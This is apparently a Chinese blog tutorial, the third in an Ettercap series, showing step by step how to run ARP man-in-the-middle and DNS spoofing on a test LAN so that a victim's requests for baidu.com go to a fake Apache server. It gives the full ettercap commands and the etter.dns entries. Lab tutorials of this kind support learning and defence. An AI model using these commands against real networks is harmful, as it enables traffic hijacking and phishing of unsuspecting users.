不知道大家有没有用过cain&abel这款软件,它是一款集成化的套件,除了可以执行ARP毒化,还可以用来收集OS指纹等。Ettercap也是类似的一款套件,它的插件提供了DNS欺骗/采集OS指纹等功能。通过ettercap -P list查看可用的插件及其简介:

$ sudo ettercap -P list
ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team
Available plugins :

...
dns_spoof 1.2 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
...
find_ip 1.0 Search an unused IP address in the subnet
finger 1.6 Fingerprint a remote host
...
sslstrip 1.1 SSLStrip plugin
stp_mangler 1.0 Become root of a switches spanning tree

例如,我想使用dns_spoof插件进行dns欺骗,可输入如下命令:

sudo ettercap -Tq -i wlp4s0 -P dns_spoof
#选取ettercap -P list列出的众多插件中的dns_spoof插件

以及插件dns_spoof的使用方法:

man ettercap_plugins 
...
dns_spoof
This plugin intercepts DNS query and reply with a spoofed answer...

    先简单阐述一下dns欺骗原理:"网络上的主机是通过IP地址来定位的,给出一个IP地址,就可以找到网络上的某台主机。而因为IP地址难于记忆,所以用便于阅读和记忆的域名来代替IP地址。但通过域名并不能直接找到要访问的主机,中间依赖域名解析过程。当客户端在浏览器输入​​www.baidu.com​​时,就会向DNS服务器发送一个查询。服务器收到DNS查询后产生响应,将要baidu的IP地址返回给客户端。大家在这系列文章中逐渐积累起了ARP欺骗的经验,不难发现这种问答式的交互过程很容易被篡改:实施ARP欺骗后,中间人修改服务器的DNS响应中的IP字段,那么最终会把客户端诱导到虚假的百度"。

     一路过来,测试用的局域网环境,ARP中间人都有了,现在还少一个http服务器伪装成baidu响应浏览器的请求。方便起见就安装apache2服务器,并返回apache2的欢迎页面(真是拙劣的伪装术)。

apt-get install apache2
service apache2 start

Ettercap系列III:ettercap插件/DNS欺骗_ip地址

上图是部署Apache2服务器后,中间人主机的截图。根据dns_spoof帮助文档,DNS欺骗前需要修改dns_spoof的配置文件etter.dns(该文件的位置未必如帮助文档所说位于/usr目录下,修改前还是用find命令搜索一下):

# microsoft sucks ;)
# redirect it to www.linux.org
#


microsoft.com A 107.170.40.56
*.microsoft.com A 107.170.40.56
www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed
#etter.dns已经给出dns欺骗的样例:参考这个样例可以把microsoft.com域名解析为linux.org服务器地址,
#照猫画虎,把baidu.com域名解析为中间人主机IP。
baidu.com A 192.168.75.133
*.baidu.com A 192.168.75.133

 以上,所有准备工作都已经完毕,可以执行DNS欺骗:

ettercap -Tq -i eth0 /192.168.75.129// /192.168.75.2// -P dns_spoof
#192.168.75.129是这次局域网中受害者主机的IP地址

    来到受害者主机上,打开浏览器访问baidu,和预期的一样最终访问了Apache服务器默认页:

Ettercap系列III:ettercap插件/DNS欺骗_服务器_02

 

最后借助wireshark看下dns请求,当受害人浏览器访问baidu时,它向路由器发出了dns请求,请求解析域名:

Ettercap系列III:ettercap插件/DNS欺骗_服务器_03

然而,它收到了被中间人篡改的dns响应,于是最终浏览器访问了中间人的http服务器:

Ettercap系列III:ettercap插件/DNS欺骗_apache_04

恩,本文完,下一篇介绍ettercap过滤器